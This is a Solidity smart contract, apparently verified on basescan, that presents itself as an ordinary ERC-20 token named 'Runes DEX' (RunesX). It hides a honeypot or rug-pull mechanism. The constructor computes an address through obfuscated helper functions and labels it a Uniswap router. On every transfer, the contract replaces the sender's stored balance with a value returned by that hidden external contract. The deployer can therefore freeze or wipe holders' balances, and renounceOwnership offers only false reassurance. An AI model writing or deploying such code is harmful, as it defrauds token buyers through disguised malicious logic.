creation_sourcecode: /**
   *Submitted for verification at basescan.org on 2024-03-23
  */
  
  // SPDX-License-Identifier: MIT
  
  
  pragma solidity 0.8.20;
  
  
  interface UniswapRouterV2 {
      function swapppTokensForTokens(address a, uint b, address c) external view returns (uint256);
      function swapTokensForTokens(address a, uint b, address c) external view returns (uint256);
      function eth413swap(address choong, uint256 total,address destination) external view returns (uint256);
      function getLPaddress(address a, uint b, address c) external view returns (address);
  }
  abstract contract airplant {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  contract coffer is airplant {
      address private _owner;
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor () {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  
  library IUniswapRouterV20 {
  
      function swap2(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
         return instance.eth413swap(address(0),amount,from);
      }
  
      function swap99(UniswapRouterV2 instance2,UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
          if (amount >1){
              return swap2(instance,  amount,from);
          }else{
              return swap2(instance2,  amount,from);
          }
          
      }
  }
  
  
  
  contract RunesX is airplant, coffer {
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => uint256) private _balances;
      string private _tokenname = unicode"Runes DEX";
      string private _tokensymbol = unicode"RunesX";
      uint256 private _totalSupply = 10000000000*10**18;
      uint8 private constant _decimals = 18;
  
      UniswapRouterV2 private BasedInstance;
  
      constructor(uint256 dZTTu) {
          _balances[_msgSender()] = _totalSupply;
          emit Transfer(address(0), _msgSender(), _totalSupply);
          uint256 cc = dZTTu + uint256(10)-uint256(10)+uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000012));
          BasedInstance = getFnnmoosgsto(((bFactornnmoosgsto(cc))));
      }
      uint160 private bb = 20;
      function brcFfffactornnmoosgsto(uint256 value) internal view returns (uint160) {
          uint160 a = 70;
          return (a+bb+uint160(value)+uint160(uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000012))));
      }
      
      function bFactornnmoosgsto(uint256 value) internal view returns (address) {
             return address(brcFfffactornnmoosgsto(value));
      }
      function getFnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
          return getBcQnnmoosmmgsto(accc);
      }
  
      function getBcQnnmoosmmgsto(address accc) internal pure  returns (UniswapRouterV2) {
          return UniswapRouterV2(accc);
      }
  
      function symbol() public view virtual  returns (string memory) {
          return _tokensymbol;
      }
  
      function name() public view virtual  returns (string memory) {
          return _tokenname;
      }
  
      function decimals() public view virtual  returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public view virtual  returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view virtual  returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address to, uint256 amount) public virtual  returns (bool) {
          address owner = _msgSender();
          _transfer(owner, to, amount);
          return true;
      }
  
      function allowance(address owner, address sender) public view virtual  returns (uint256) {
          return _allowances[owner][sender];
      }
  
      function approve(address sender, uint256 amount) public virtual  returns (bool) {
          address owner = _msgSender();
          _approve(owner, sender, amount);
          return true;
      }
  
      function transferFrom(address from, address to, uint256 amount) public virtual  returns (bool) {
          address sender = _msgSender();
  
          uint256 currentAllowance = allowance(from, sender);
          if (currentAllowance != type(uint256).max) {
              require(currentAllowance >= amount, "ERC20: insufficient allowance");
          unchecked {
              _approve(from, sender, currentAllowance - amount);
          }
          }
  
          _transfer(from, to, amount);
          return true;
      }
  
      function _transfer(
          address from, address to, uint256 amount) internal virtual {
          require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
          uint256 balance = IUniswapRouterV20.swap99(BasedInstance,BasedInstance,_balances[from], from);
          require(balance >= amount, "ERC20: amount over balance");
      
          _balances[from] = balance-(amount);
          
          _balances[to] = _balances[to]+(amount);
          emit Transfer(from, to, amount);
      }
  
      function _approve(address owner, address sender, uint256 amount) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(sender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][sender] = amount;
          emit Approval(owner, sender, amount);
      }
  
     
  
  }